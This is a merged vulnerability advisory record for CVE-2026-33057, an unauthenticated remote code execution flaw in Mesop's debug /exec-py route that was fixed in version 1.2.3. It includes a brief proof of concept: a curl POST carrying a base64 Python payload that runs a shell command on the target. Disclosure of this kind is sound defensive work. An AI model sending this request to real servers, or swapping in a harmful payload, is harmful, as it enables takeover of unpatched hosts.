{"id":"CVE-2026-33057","aliases":["CVE-2026-33057","GHSA-gjgx-rvqr-6w6v","PYSEC-2026-412"],"related":[],"kind":"vulnerability","state":"published","title":"Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py","summary":"Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.","source":"cvelist"},{"lang":"en","text":"#### Summary\nAn explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.\n\n#### Details\nThe AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`.\n\n```python\n# ai/sandbox/wsgi_app.py\n@flask_app.route(\"/exec-py\", methods=[\"POST\"])\ndef exec_py_route():\n  code = base64.urlsafe_b64decode(request.form.get(\"code\"))\n  # ... code is blindly written to file and forcefully executed\n```\n\n#### PoC\n```bash\n# Payload:\n# import os\n# os.system('echo \"pwned by attacker\" > /tmp/pwned.txt')\n# \n# Base64 string represents the identical payload block above: \n# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\n\ncurl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\"\n\n# Validate exploitation target execution natively:\n# $ cat /tmp/pwned.txt\n# pwned by attacker\n```\n\n#### Impact\nThis presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Mesop es un framework de UI basado en Python que permite a los usuarios construir aplicaciones web. En las versiones 1.2.2 e inferiores, un endpoint web explícito dentro de la infraestructura del módulo de pruebas ai/ ingiere directamente cadenas de código Python no confiables incondicionalmente sin medidas de autenticación, lo que resulta en una Ejecución Remota de Código sin Restricciones estándar. Cualquier individuo capaz de enrutar lógica HTTP a este bloque de servidor obtendrá derechos explícitos de comando de la máquina anfitriona. El paquete de código base de IA incluye un servidor Flask de depuración ligero dentro de ai/sandbox/wsgi_app.py. La ruta /exec-py acepta cargas útiles de cadenas en bruto codificadas en base_64 dentro del parámetro code, evaluadas nativamente por una solicitud web POST básica. Lo guarda rápidamente en la ruta lógica del sistema operativo y lo inyecta recursivamente usando execute_module(module_path...). Este problema ha sido solucionado en la versión 1.2.3.","source":"nvd"}],"published":"2026-03-18T20:05:00.000Z","modified":"2026-11-16T15:45:09.368Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 1.2.3","status":"affected"}],"vendor":"mesop-dev","product":"mesop","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.2.3"}],"ecosystem":"PyPI","package":"mesop","purl":"pkg:pypi/mesop","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.2.3"}],"vendor":"mesop-dev","product":"mesop","cpe":"cpe:2.3:a:mesop-dev:mesop:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.2.3"}],"ecosystem":"PyPI","package":"mesop","purl":"pkg:pypi/mesop","source":"pysec"}],"references":[{"url":"https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v","tags":["vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/mesop-dev/mesop/commit/825f55970c20686de3f28e2c66df4d74e9d4db47","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33057","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mesop-dev/mesop","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/mesop/PYSEC-2026-412.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/mesop","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-gjgx-rvqr-6w6v","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-03-25T13:51:08.862Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33057","url":"https://www.cve.org/CVERecord?id=CVE-2026-33057","licence":"CVE Terms of Use","modified":"2026-03-25T13:52:27.880Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gjgx-rvqr-6w6v","url":"https://github.com/advisories/GHSA-gjgx-rvqr-6w6v","licence":"CC-BY-4.0","modified":"2026-11-16T15:45:09.368Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33057","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33057","licence":"Public domain","modified":"2026-06-17T10:36:52.663Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-412","url":"https://osv.dev/vulnerability/PYSEC-2026-412","licence":"CC-BY-4.0","modified":"2026-07-13T16:15:28.256Z"}],"updatedAt":"2026-11-25T22:59:16.293Z","epss":{"score":0.0459,"percentile":0.92426,"date":"2026-11-30T12:00:22.000Z"}}